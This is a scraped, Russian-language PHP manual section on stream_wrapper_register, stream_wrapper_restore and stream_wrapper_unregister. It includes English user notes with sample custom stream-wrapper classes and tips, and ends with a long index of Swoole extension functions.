romain dot ardiet at gmail dot com 23-Oct-2014 08:54
This method returns TRUE on custom wrappers by default if you don't implement the stream_lock() method inside the wrapper : http://php.net/manual/en/streamwrapper.stream-lock.php


Регистрирует обёртку URL, реализованную в виде PHP-класса

  • « stream_supports_lock
  • stream_wrapper_restore »
  • PHP Manual
  • Функции для работы с потоками
  • Регистрирует обёртку URL, реализованную в виде PHP-класса

stream_wrapper_register

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

stream_wrapper_register — Регистрирует обёртку URL, реализованную в виде PHP-класса

Описание

stream_wrapper_register(string $protocol, string $class, int $flags = 0): bool

Позволяет вам реализовать ваши собственные обработчики протоколов и потоков для использования со всеми другими функциями файловой системы (такими как fopen(), fread() и т.д.).

Список параметров

protocol

Название регистрируемой обёртки. Допустимые имена протоколов должны содержать только буквы, цифры, точки (.), плюсы (+) или дефисы (-).

class

Название класса, который реализует протокол protocol.

flags

Должно быть установлено в STREAM_IS_URL, если параметр protocol является протоколом URL. По умолчанию 0, локальный поток.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

stream_wrapper_register() будет возвращать false, если протокол protocol уже имеет обработчик.

Примеры

Пример #1 Как зарегистрировать обёртку потока

<?php
$existed = in_array("var", stream_get_wrappers());
if ($existed) {
stream_wrapper_unregister("var");
}
stream_wrapper_register("var", "VariableStream");
$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

if ($existed) {
stream_wrapper_restore("var");
}

?>

Результат выполнения данного примера:

line1
line2
line3
string(18) "line1
line2
line3
"

Смотрите также

  • Класс-прототип streamWrapper
  • Пример класса, зарегистрированного в качестве обёртки потока
  • stream_wrapper_unregister() - Отменяет регистрацию обёртки URL
  • stream_wrapper_restore() - Восстанавливает отменённую ранее встроенную обёртку
  • stream_get_wrappers() - Получить список зарегистрированных потоков

User Contributed Notes

dmarjos at gmail dot com 05-Sep-2013 01:23
Be aware that even when stream_wrapper_register won't fail, open_basedir will affect functionality of the class.
Anonymous 16-Sep-2008 11:19
"for use with all the other filesystem functions"

"all" is not accurate.  Unfortunately, zip_open(), and presumably others, will ignore your custom stream wrapper.
phrank 17-Apr-2008 01:38
Actually, I don't know if there's a better way to figure out if stream_read() was called by fgets() or e.g. fread() than this one:

    public function stream_read($count)
    {
        $bt = debug_backtrace();
        if(($bt[0]['function'] == 'stream_read') &&
           ($bt[1]['function'] == 'fgets'))
        {
                $pos = strpos($GLOBALS[$this->varname], "\n", $this->position);
                $retval = substr($GLOBALS[$this->varname], $this->position, ($pos > $count) ? $count : $pos+1);

        }
        else
        {
                $retval = substr($GLOBALS[$this->varname], $this->position, $count);

        }
                $this->position += strlen($retval);
                return (string)$retval;
    }
yeiniel at gmail dot com 14-Oct-2007 07:30
on using dir_opendir on PHP5 make sure you not return a resource object on success. A resource object is diferent from false but php make a cast to bool to dir_opendir return value and modify the value of your resource to 1.

example:

class myclass{
  private $mysqlHandler;
  public function dir_opendir(....)
  {
    $this->mysqlHandler = mysql_connect(....);
    return $this->mysqlHandler; //this is wrong, next
                                          //time you use
                                          //$this->mysqlHandler
                                          // the value is 1
  }
}
fordiman at gmail dot com 13-Aug-2007 05:59
Updated. I figured there's no need to store the variable name if we're dereferenceing; we can just store the pointer and not have to dereference in each function for brevity.

Also, I added the assertion that the stream is a string, since we're behaving basically like it has to be, and I changed the name to GlobalStream and global://, as that's a more descriptive moniker than VariableName/var://.
<?php
class GlobalStream {
    private $pos;
    private $stream;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->stream = &$GLOBALS[$url["host"]];
        $this->pos = 0;
        if (!is_string($this->stream)) return false;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->pos;
        $ret = substr($this->stream, $this->pos, $count);
        $this->pos += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $l=strlen($data);
        $this->stream =
            substr($this->stream, 0, $this->pos) .
            $data .
            substr($this->stream, $this->pos += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->pos;
    }
    public function stream_eof() {
        return $this->pos >= strlen($this->stream);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen($this->stream);
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $this->pos + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $this->pos=$newPos;
        return $ret;
    }
}
stream_wrapper_register('global', 'GlobalStream') or die('Failed to register protocol global://');

$myvar = "";

$fp = fopen("global://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
fordiman at gmail dot com 13-Aug-2007 05:32
Updated for PHP 5, and optimized for readability, low line count, and minimum memory use:

<?php
class VariableStream {
    private $position;
    private $varname;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->position;
        $ret = substr($GLOBALS[$this->varname], $p, $count);
        $p += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $v=&$GLOBALS[$this->varname];
        $l=strlen($data);
        $p=&$this->position;
        $v = substr($v, 0, $p) . $data . substr($v, $p += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->position;
    }
    public function stream_eof() {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen(&$GLOBALS[$this->varname]);
        $p=&$this->position;
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $p + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $p=$newPos;
        return $ret;
    }
}
stream_wrapper_register("var", "VariableStream")
or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
phpnet at povaddict dot com dot ar 09-Jun-2007 08:10
In response to Anonymouse at Coward dot com:

The manual says "Reading stops when up to length bytes have been read, [...] or (after opening userspace stream) when 8192 bytes have been read whichever comes first."

I tested it and fread($filehandle, 4096) returns 4096 bytes, so it's working as the manual says it should. You're right when you say "8192 bytes is always passed to stream_read as count", but that doesn't mean fread will return 8192 bytes. If you call fread twice with length 4096, PHP calls stream_read passing 8192 as count on the first fread, and doesn't call it on second fread. On both cases, fread returns the correct amount of bytes.

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        echo "stream_read called asking for $count bytes\n";
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";
$l=range('a','z');
for($i=0;$i<65536;$i++) {
    $myvar .= $l[array_rand($l)];
}

$fp = fopen("var://myvar", "r+");

while (!feof($fp)) {
    $out = fread($fp,1000);
    echo "fread returned ",strlen($out)," bytes\n";
}

fclose($fp);

?>
Anonymouse at Coward dot com 26-Apr-2007 09:18
Use caution with writing code that may use stream wrappers with fread, as fread behaviour is 'inconsistent' with normal file operations because of the 8192 bytes internal buffer used by PHP ( >= 5.0.5 IIRC ).

ie:

fread($filehandle, filesize($filename))

will not work correctly if the file is larger than 8KB, it will only get you the first 8192 bytes. Also, it seems that:

fread($filehandle, 4096)

will still give you 8KB (if the file is larger than 8KB) as 8192 bytes is always passed to stream_read as count.

This makes it somewhat impossible to just 'drop in' a stream where normally a file would be used without taking special care.

Yes, it IS mentioned in the documentation here if you read it really well, but I for one spent some time scratching my head over it, and looking at the bug tracker, I am not the only one. The dev's say this inconsistancy is a feature though, even if it does make stream wrappers pretty much useless 'out of the box'.

file_get_contents and stream_get_contents seem to work ok though.
none at your dot biz 09-Nov-2006 04:35
In case someone else starts scratching their head like I was, you should change the VariableStream::stream_eof() function to something like this:

   function stream_eof()
   {
       $eof = ($this->position >= strlen($GLOBALS[$this->varname]));
        if(version_compare(PHP_VERSION,'5.0','>=') && version_compare(PHP_VERSION,'5.1','<'))
        {
            $eof = !$eof;
        }
        return $eof;
   }

PHP 5.0 introduced a bug that wasn't fixed until 5.1
jhannus at php dot net 20-Jun-2005 07:37
It is worth noting that if your wrapper supports stream_flush() then when you flcose() your stream this function will be called prior to closing the stream.
cellog at php dot net 12-Apr-2005 07:45
If you plan to use your wrapper in a require_once you need to define stream_stat().  If you plan to allow any other tests like is_file()/is_dir(), you have to define url_stat().

stream_stat() must define the size of the file, or it will never be included.  url_stat() must define mode, or is_file()/is_dir()/is_executable(), and any of those functions affected by clearstatcache() simply won't work.

It's not documented, but directories must be a mode like 040777 (octal), and files a mode like 0100666.  If you wish the file to be executable, use 7s instead of 6s.  The last 3 digits are exactly the same thing as what you pass to chmod.  040000 defines a directory, and 0100000 defines a file.  It would be really helpful to add this to the official manual!
Hayley Watson 03-Apr-2005 11:07
The current URL standard is RFC 3986 - available at www.ietf.org/rfc/rfc3986.txt
simon at firepages dot org 13-Apr-2004 10:53
using streams to use the ever useful fgetcsv() on a variable where explode() would not work (and would otherwise require regex(though that may be easier;)))

$explode_this="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

<?php
class csvstream{
   var $position;
   var $varname;
   function stream_open($path, $mode, $options, &$opened_path){
       $url = parse_url($path);
        $this->varname = $url['host'] ;
       $this->position = 0;
       return true;
   }
  function stream_read($count){
       $ret = substr($GLOBALS[$this->varname], $this->position, $count);
       $this->position += strlen($ret);
       return $ret;
   }
  function stream_eof(){
       return $this->position >= strlen($GLOBALS[$this->varname]);
   }
   function stream_tell(){
       return $this->position;
   }
}

   stream_wrapper_register("csvstr", "csvstream") ;
   $str="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

   $fp = fopen("csvstr://str", "r+");
   print_r(fgetcsv($fp,100,",","'"));

?>


Восстанавливает отменённую ранее встроенную обёртку

  • « stream_wrapper_register
  • stream_wrapper_unregister »
  • PHP Manual
  • Функции для работы с потоками
  • Восстанавливает отменённую ранее встроенную обёртку

stream_wrapper_restore

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_wrapper_restore — Восстанавливает отменённую ранее встроенную обёртку

Описание

stream_wrapper_restore(string $protocol): bool

Восстанавливает встроенную обёртку, регистрация которой раньше была отменена при помощи stream_wrapper_unregister().

Список параметров

protocol

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отменяет регистрацию обёртки URL

  • « stream_wrapper_restore
  • Swoole »
  • PHP Manual
  • Функции для работы с потоками
  • Отменяет регистрацию обёртки URL

stream_wrapper_unregister

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_wrapper_unregister — Отменяет регистрацию обёртки URL

Описание

stream_wrapper_unregister(string $protocol): bool

Позволяет вам отключить уже определённую обёртку потока. Как только обёртка будет отключена, вы можете перезаписать её пользовательской обёрткой, используя stream_wrapper_register() или включить её повторно, используя stream_wrapper_restore().

Список параметров

protocol

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Swoole

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Swoole
    • swoole_async_dns_lookup — Асинхронный и неблокирующий поиск имени хоста или IP-адреса
    • swoole_async_read — Асинхронное чтение потока файла
    • swoole_async_readfile — Асинхронное чтение файла
    • swoole_async_set — Обновление опций асинхронного ввода-вывода
    • swoole_async_write — Асинхронная запись данных в поток файла
    • swoole_async_writefile — Асинхронная запись данных в файл
    • swoole_clear_error — Сбрасывает ошибки в сокете или по последнему коду ошибки
    • swoole_client_select — Получить описание файла, готового к чтению/записи или ошибке
    • swoole_cpu_num — Получить количество CPU
    • swoole_errno — Получить код ошибки последнего системного вызова
    • swoole_error_log — Выводит сообщения об ошибках в журнал
    • swoole_event_add — Добавить новых callback-функций сокета в цикл событий
    • swoole_event_defer — Добавить callback-функцию в следующий цикл событий
    • swoole_event_del — Удалить все callback-функции сокета
    • swoole_event_exit — Закрыть цикл событий, доступный только на стороне клиента
    • swoole_event_set — Обновить callback-функции события сокета
    • swoole_event_wait — Запустить цикл событий
    • swoole_event_write — Записать данные в сокет
    • swoole_get_local_ip — Получить IP-адреса в формате IPv4 каждой сетевой платы (NIC) компьютера
    • swoole_last_error — Получить последнее сообщение об ошибке
    • swoole_load_module — Загрузить модуль swoole
    • swoole_select — Выбрать описания файлов, которые готовы к чтению/записи или ошибке в цикл событий
    • swoole_set_process_name — Установить имя процесса
    • swoole_strerror — Сконвертировать Errno в сообщения об ошибках
    • swoole_timer_after — Запуск callback-функции один раз в будущем
    • swoole_timer_exists — Проверить, существует ли callback-функция таймера
    • swoole_timer_tick — Вызвать callback-функцию таймера тактов через определённый промежуток времени
    • swoole_version — Получить версию Swoole
  • Swoole\Async — Класс Swoole\Async
    • Swoole\Async::dnsLookup — Асинхронный и неблокирующий поиск IP по имени хоста
    • Swoole\Async::read — Асинхронное чтение файлового потока
    • Swoole\Async::readFile — Асинхронное чтение файла
    • Swoole\Async::set — Обновляет параметры асинхронного ввода-вывода
    • Swoole\Async::write — Асинхронно записывает данные в файловый поток
    • Swoole\Async::writeFile — Описание
  • Swoole\Atomic — Класс Swoole\Atomic
    • Swoole\Atomic::add — Добавляет число к значению атомарного объекта
    • Swoole\Atomic::cmpset — Сравнивает и устанавливает значение атомарного объекта
    • Swoole\Atomic::__construct — Создаёт атомарный объект swoole
    • Swoole\Atomic::get — Получает текущее значение атомарного объекта
    • Swoole\Atomic::set — Устанавливает новое значение для атомарного объекта
    • Swoole\Atomic::sub — Вычитает число из значения атомарного объекта
  • Swoole\Buffer — Класс Swoole\Buffer
    • Swoole\Buffer::append — Добавляет строку или двоичные данные в конец буфера памяти и возвращает новый размер выделенной памяти
    • Swoole\Buffer::clear — Сбрасывает буфер памяти
    • Swoole\Buffer::__construct — Фиксированный размер блока памяти
    • Swoole\Buffer::__destruct — Уничтожает буфер памяти Swoole
    • Swoole\Buffer::expand — Расширяет размер буфера памяти
    • Swoole\Buffer::read — Читает данные из буфера памяти на основе смещения и длины
    • Swoole\Buffer::recycle — Освобождает память для ОС, которая не используется буфером памяти
    • Swoole\Buffer::substr — Считывает данные из буфера памяти на основе смещения и длины. Или удаляет данные из буфера памяти
    • Swoole\Buffer::__toString — Получает строковое значение буфера памяти
    • Swoole\Buffer::write — Записывает данные в буфер памяти. Память, выделенная для буфера, не будет изменена
  • Swoole\Channel — Класс Swoole\Channel
    • Swoole\Channel::__construct — Создаёт канал Swoole
    • Swoole\Channel::__destruct — Уничтожает канал Swoole
    • Swoole\Channel::pop — Читает и извлекает данные из канала Swoole
    • Swoole\Channel::push — Записывает и передаёт данные в канал Swoole
    • Swoole\Channel::stats — Получает статистику канала Swoole
  • Swoole\Client — Класс Swoole\Client
    • Swoole\Client::close — Закрывает установленное соединение
    • Swoole\Client::connect — Подключается к удалённому порту TCP или UDP
    • Swoole\Client::__construct — Создаёт синхронный или асинхронный TCP/UDP клиент Swoole с поддержкой SSL или без него
    • Swoole\Client::__destruct — Уничтожает клиент Swoole
    • Swoole\Client::getpeername — Получает имя удалённого сокета соединения
    • Swoole\Client::getsockname — Получает локальное имя сокета соединения
    • Swoole\Client::isConnected — Проверяет, установлено ли соединение
    • Swoole\Client::on — Добавляет callback-функции, вызванные событиями
    • Swoole\Client::pause — Приостанавливает получение данных
    • Swoole\Client::pipe — Перенаправляет данные в другой файловый дескриптор
    • Swoole\Client::recv — Получает данные из удалённого сокета
    • Swoole\Client::resume — Возобновляет получение данных
    • Swoole\Client::send — Отправляет данные в удалённый TCP-сокет
    • Swoole\Client::sendfile — Отправляет файл в удалённый TCP-сокет
    • Swoole\Client::sendto — Отправляет данные на удалённый UDP-адрес
    • Swoole\Client::set — Устанавливает параметры клиента Swoole до установления соединения
    • Swoole\Client::sleep — Удаляет TCP-клиент из цикла системных событий
    • Swoole\Client::wakeup — Добавляет TCP-клиент обратно в цикл системных событий
  • Swoole\Connection\Iterator — Класс Swoole\Connection\Iterator
    • Swoole\Connection\Iterator::count — Считает соединения
    • Swoole\Connection\Iterator::current — Возвращает текущую запись соединения
    • Swoole\Connection\Iterator::key — Возвращает ключ текущего соединения
    • Swoole\Connection\Iterator::next — Переходит к следующему соединению
    • Swoole\Connection\Iterator::offsetExists — Проверяет, существует ли смещение
    • Swoole\Connection\Iterator::offsetGet — Смещение для извлечения
    • Swoole\Connection\Iterator::offsetSet — Назначает соединение для указанного смещения
    • Swoole\Connection\Iterator::offsetUnset — Сбрасывает смещение
    • Swoole\Connection\Iterator::rewind — Перематывает итератор
    • Swoole\Connection\Iterator::valid — Проверяет правильность текущей позиции
  • Swoole\Coroutine — Класс Swoole\Coroutine
    • Swoole\Coroutine::call_user_func_array — Вызывает callback-функцию с массивом параметров
    • Swoole\Coroutine::call_user_func — Вызывает callback-функцию, заданную первым параметром
    • Swoole\Coroutine::cli_wait — Описание
    • Swoole\Coroutine::create — Описание
    • Swoole\Coroutine\Client::close — Описание
    • Swoole\Coroutine\Client::connect — Описание
    • Swoole\Coroutine\Client::__construct — Описание
    • Swoole\Coroutine\Client::__destruct — Описание
    • Swoole\Coroutine\Client::getpeername — Описание
    • Swoole\Coroutine\Client::getsockname — Описание
    • Swoole\Coroutine\Client::isConnected — Описание
    • Swoole\Coroutine\Client::recv — Описание
    • Swoole\Coroutine\Client::send — Описание
    • Swoole\Coroutine\Client::sendfile — Описание
    • Swoole\Coroutine\Client::sendto — Описание
    • Swoole\Coroutine\Client::set — Описание
    • Swoole\Coroutine\Http\Client::addFile — Описание
    • Swoole\Coroutine\Http\Client::close — Описание
    • Swoole\Coroutine\Http\Client::__construct — Описание
    • Swoole\Coroutine\Http\Client::__destruct — Описание
    • Swoole\Coroutine\Http\Client::execute — Описание
    • Swoole\Coroutine\Http\Client::get — Описание
    • Swoole\Coroutine\Http\Client::getDefer — Описание
    • Swoole\Coroutine\Http\Client::isConnected — Описание
    • Swoole\Coroutine\Http\Client::post — Описание
    • Swoole\Coroutine\Http\Client::recv — Описание
    • Swoole\Coroutine\Http\Client::set — Описание
    • Swoole\Coroutine\Http\Client::setCookies — Описание
    • Swoole\Coroutine\Http\Client::setData — Описание
    • Swoole\Coroutine\Http\Client::setDefer — Описание
    • Swoole\Coroutine\Http\Client::setHeaders — Описание
    • Swoole\Coroutine\Http\Client::setMethod — Описание
    • Swoole\Coroutine\MySQL::close — Описание
    • Swoole\Coroutine\MySQL::connect — Описание
    • Swoole\Coroutine\MySQL::__construct — Описание
    • Swoole\Coroutine\MySQL::__destruct — Описание
    • Swoole\Coroutine\MySQL::getDefer — Описание
    • Swoole\Coroutine\MySQL::query — Описание
    • Swoole\Coroutine\MySQL::recv — Описание
    • Swoole\Coroutine\MySQL::setDefer — Описание
    • Swoole\Coroutine::getuid — Описание
    • Swoole\Coroutine::resume — Описание
    • Swoole\Coroutine::suspend — Описание
  • Swoole\Event — Класс Swoole\Event
    • Swoole\Event::add — Добавляет новые callback-функции сокета в EventLoop
    • Swoole\Event::defer — Добавляет callback-функцию в следующий цикл событий
    • Swoole\Event::del — Удаляет все callback-функции события сокета
    • Swoole\Event::exit — Выходит из цикла событий, доступно только на стороне клиента
    • Swoole\Event::set — Обновляет callback-функции события сокета
    • Swoole\Event::wait — Описание
    • Swoole\Event::write — Записывает данные в сокет
  • Swoole\Exception — Класс Swoole\Exception
  • Swoole\Http\Client — Класс Swoole\Http\Client
    • Swoole\Http\Client::addFile — Добавляет файл в форму сообщения
    • Swoole\Http\Client::close — Закрывает http-соединение
    • Swoole\Http\Client::__construct — Создаёт асинхронный HTTP-клиент
    • Swoole\Http\Client::__destruct — Уничтожает HTTP-клиент
    • Swoole\Http\Client::download — Загружает файл с удалённого сервера
    • Swoole\Http\Client::execute — Посылает HTTP-запрос после установки параметров
    • Swoole\Http\Client::get — Отправляет HTTP-запрос GET на удалённый сервер
    • Swoole\Http\Client::isConnected — Проверяет, подключено ли соединение HTTP
    • Swoole\Http\Client::on — Регистрирует callback-функцию по имени события
    • Swoole\Http\Client::post — Отправляет HTTP-запрос POST на удалённый сервер
    • Swoole\Http\Client::push — Передаёт данные в клиент websocket
    • Swoole\Http\Client::set — Обновляет параметры HTTP-клиента
    • Swoole\Http\Client::setCookies — Устанавливает cookies для HTTP-запроса
    • Swoole\Http\Client::setData — Устанавливает данные тела HTTP-запроса
    • Swoole\Http\Client::setHeaders — Устанавливает заголовки HTTP-запроса
    • Swoole\Http\Client::setMethod — Устанавливает метод HTTP-запроса
    • Swoole\Http\Client::upgrade — Обновление до протокола websocket
  • Swoole\Http\Request — Класс Swoole\Http\Request
    • Swoole\Http\Request::__destruct — Уничтожает HTTP-запрос
    • Swoole\Http\Request::rawcontent — Получает необработанное тело HTTP POST
  • Swoole\Http\Response — Класс Swoole\Http\Response
    • Swoole\Http\Response::cookie — Устанавливает cookie HTTP-ответа
    • Swoole\Http\Response::__destruct — Уничтожает HTTP-ответ
    • Swoole\Http\Response::end — Отправляет данные HTTP-запроса и завершает ответ
    • Swoole\Http\Response::gzip — Включает gzip-сжатие содержимого ответа.
    • Swoole\Http\Response::header — Устанавливает заголовки HTTP-ответа
    • Swoole\Http\Response::initHeader — Инициировать заголовок HTTP-ответа
    • Swoole\Http\Response::rawcookie — Устанавливает необработанные cookie в HTTP-ответ
    • Swoole\Http\Response::sendfile — Отправляет файл через HTTP-ответ
    • Swoole\Http\Response::status — Устанавливает код состояния HTTP-ответа
    • Swoole\Http\Response::write — Добавляет содержимое тела HTTP в HTTP-ответ
  • Swoole\Http\Server — Класс Swoole\Http\Server
    • Swoole\Http\Server::on — Привязывает callback-функцию к HTTP-серверу по имени события
    • Swoole\Http\Server::start — Запускает http-сервер swoole
  • Swoole\Lock — Класс Swoole\Lock
    • Swoole\Lock::__construct — Создаёт блокировку памяти
    • Swoole\Lock::__destruct — Уничтожает блокировку памяти Swoole
    • Swoole\Lock::lock_read — Блокирует чтение-запись блокировки для чтения
    • Swoole\Lock::lock — Пытается получить блокировку. Заблокируется, если блокировка недоступна
    • Swoole\Lock::trylock_read — Пытается заблокировать блокировку чтения-записи для чтения и сразу возвращает, даже если блокировка недоступна
    • Swoole\Lock::trylock — Пытается получить блокировку и сразу возвращает, даже если блокировка недоступна
    • Swoole\Lock::unlock — Снимает блокировку
  • Swoole\Mmap — Класс Swoole\Mmap
    • Swoole\Mmap::open — Отобразить файл в память и вернуть ресурс потока, который может использоваться операциями потока PHP
  • Swoole\MySQL — Класс Swoole\MySQL
    • Swoole\MySQL::close — Закрывает асинхронное соединение MySQL
    • Swoole\MySQL::connect — Подключается к удалённому серверу MySQL
    • Swoole\MySQL::__construct — Создаёт асинхронный клиент MySQL
    • Swoole\MySQL::__destruct — Уничтожает асинхронный клиент MySQL
    • Swoole\MySQL::getBuffer — Описание
    • Swoole\MySQL::on — Регистрирует callback-функцию на основе имени события
    • Swoole\MySQL::query — Выполняет запрос SQL
  • Swoole\MySQL\Exception — Класс Swoole\MySQL\Exception
  • Swoole\Process — Класс Swoole\Process
    • Swoole\Process::alarm — Таймер высокой точности, который запускает сигнал с фиксированным интервалом
    • Swoole\Process::close — Закрывает канал для дочернего процесса
    • Swoole\Process::__construct — Создаёт процесс
    • Swoole\Process::daemon — Изменяет процесс на процесс-демон
    • Swoole\Process::__destruct — Уничтожает процесс
    • Swoole\Process::exec — Выполняет системные команды
    • Swoole\Process::exit — Останавливает дочерние процессы
    • Swoole\Process::freeQueue — Уничтожает очередь сообщений, созданную swoole_process::useQueue
    • Swoole\Process::kill — Посылает сигнал дочернему процессу
    • Swoole\Process::name — Устанавливает название процесса
    • Swoole\Process::pop — Читает и извлекает данные из очереди сообщений
    • Swoole\Process::push — Записывает и помещает данные в очередь сообщений
    • Swoole\Process::read — Читает данные отправки в процесс
    • Swoole\Process::signal — Посылает сигнал дочерним процессам
    • Swoole\Process::start — Запускает процесс
    • Swoole\Process::statQueue — Получает статистику очереди сообщений, используемой в качестве метода связи между процессами
    • Swoole\Process::useQueue — Создаёт очередь сообщений в качестве метода связи между родительским процессом и дочерними процессами
    • Swoole\Process::wait — Ожидает событий дочерних процессов
    • Swoole\Process::write — Записывает данные в канал и связывается с родительским процессом или дочерними процессами
  • Swoole\Redis\Server — Класс Swoole\Redis\Server
    • Swoole\Redis\Server::format — Описание
    • Swoole\Redis\Server::setHandler — Описание
    • Swoole\Redis\Server::start — Описание
  • Swoole\Serialize — Класс Swoole\Serialize
    • Swoole\Serialize::pack — Сериализовать данные
    • Swoole\Serialize::unpack — Десериализовать данные
  • Swoole\Server — Класс Swoole\Server
    • Swoole\Server::addlistener — Добавляет нового слушателя на сервер
    • Swoole\Server::addProcess — Добавляет определённый пользователем swoole_process на сервер
    • Swoole\Server::after — Запускает callback-функцию по истечении определённого периода времени
    • Swoole\Server::bind — Привязывает соединение к указанному идентификатору пользователя
    • Swoole\Server::clearTimer — Останавливает и уничтожает таймер
    • Swoole\Server::close — Закрывает соединение с клиентом
    • Swoole\Server::confirm — Проверяет состояние соединения
    • Swoole\Server::connection_info — Получает информацию о соединении по описанию файла
    • Swoole\Server::connection_list — Получает все установленные соединения
    • Swoole\Server::__construct — Создаёт сервер Swoole
    • Swoole\Server::defer — Откладывает выполнение callback-функции в конце текущего EventLoop
    • Swoole\Server\Port::__construct — Создаёт порт сервера
    • Swoole\Server\Port::__destruct — Уничтожает порт сервера
    • Swoole\Server\Port::on — Регистрирует callback-функции по событию
    • Swoole\Server\Port::set — Устанавливает протокол порта сервера
    • Swoole\Server::exist — Проверяет, существует ли соединение
    • Swoole\Server::finish — Используется в процессе задачи для отправки результата в рабочий процесс после завершения задачи
    • Swoole\Server::getClientInfo — Получает информацию о соединении по описанию файла
    • Swoole\Server::getClientList — Получает все установленные соединения
    • Swoole\Server::getLastError — Получает код самой последней ошибки
    • Swoole\Server::heartbeat — Проверяет все соединения на сервере
    • Swoole\Server::listen — Слушает по заданному IP и порту, тип сокета
    • Swoole\Server::on — Регистрирует callback-функцию по имени события
    • Swoole\Server::pause — Прекращает получение данных от соединения
    • Swoole\Server::protect — Устанавливает соединение в защищённый режим
    • Swoole\Server::reload — Перезапускает все рабочие процессы
    • Swoole\Server::resume — Начинает получать данные из соединения
    • Swoole\Server::send — Отправляет данные клиенту
    • Swoole\Server::sendfile — Отправляет файл на соединение
    • Swoole\Server::sendMessage — Отправляет сообщение рабочим процессам по идентификатору
    • Swoole\Server::sendto — Отправляет данные на удалённый UDP-адрес
    • Swoole\Server::sendwait — Отправляет данные в удалённый сокет блокирующим способом
    • Swoole\Server::set — Устанавливает настройки времени выполнения сервера swoole
    • Swoole\Server::shutdown — Завершает процесс главного сервера, функцию можно вызывать в рабочих процессах
    • Swoole\Server::start — Запускает сервер Swoole
    • Swoole\Server::stats — Получает статистику сервера Swoole
    • Swoole\Server::stop — Останавливает сервер Swoole
    • Swoole\Server::task — Отправляет данные в рабочие процессы задачи
    • Swoole\Server::taskwait — Посылает данные рабочим процессам задачи блокирующим способом
    • Swoole\Server::taskWaitMulti — Выполняет несколько задач одновременно
    • Swoole\Server::tick — Повторяет данную функцию в каждый заданный интервал времени
  • Swoole\Table — Класс Swoole\Table
    • Swoole\Table::column — Устанавливает тип данных и размер столбцов
    • Swoole\Table::__construct — Создаёт таблицу памяти Swoole с фиксированным размером
    • Swoole\Table::count — Подсчитывает строки в таблице или подсчитывает все элементы в таблице, если $mode = 1
    • Swoole\Table::create — Создаёт таблицу памяти swoole
    • Swoole\Table::current — Получает текущую строку
    • Swoole\Table::decr — Уменьшает значение в таблице Swoole по $row_key и $column_key
    • Swoole\Table::del — Удаляет строку в таблице Swoole по $row_key
    • Swoole\Table::destroy — Уничтожает таблицу Swoole
    • Swoole\Table::exist — Проверяет, существует ли строка по $row_key
    • Swoole\Table::get — Получает значение в таблице Swoole по $row_key и $column_key
    • Swoole\Table::incr — Увеличивает значение по $row_key и $column_key
    • Swoole\Table::key — Получает ключ текущей строки
    • Swoole\Table::next — Перемещает итератор на следующую строку
    • Swoole\Table::rewind — Перематывает итератор
    • Swoole\Table::set — Обновляет строку таблицы по $row_key
    • Swoole\Table::valid — Проверяет, является ли текущая строка корректной
  • Swoole\Timer — Класс Swoole\Timer
    • Swoole\Timer::after — Запускает callback-функцию через определённый промежуток времени
    • Swoole\Timer::clear — Удаляет таймер по идентификатору
    • Swoole\Timer::exists — Проверяет, существует ли таймер
    • Swoole\Timer::tick — Повторяет данную функцию в каждый заданный интервал времени
  • Swoole\WebSocket\Frame — Класс Swoole\WebSocket\Frame
  • Swoole\WebSocket\Server — Класс Swoole\WebSocket\Server
    • Swoole\WebSocket\Server::exist — Проверяет, существует ли описание файла
    • Swoole\WebSocket\Server::on — Зарегистрировать callback-функцию события
    • Swoole\WebSocket\Server::pack — Получение пакета двоичных данных для отправки в одной группе данных (frame)
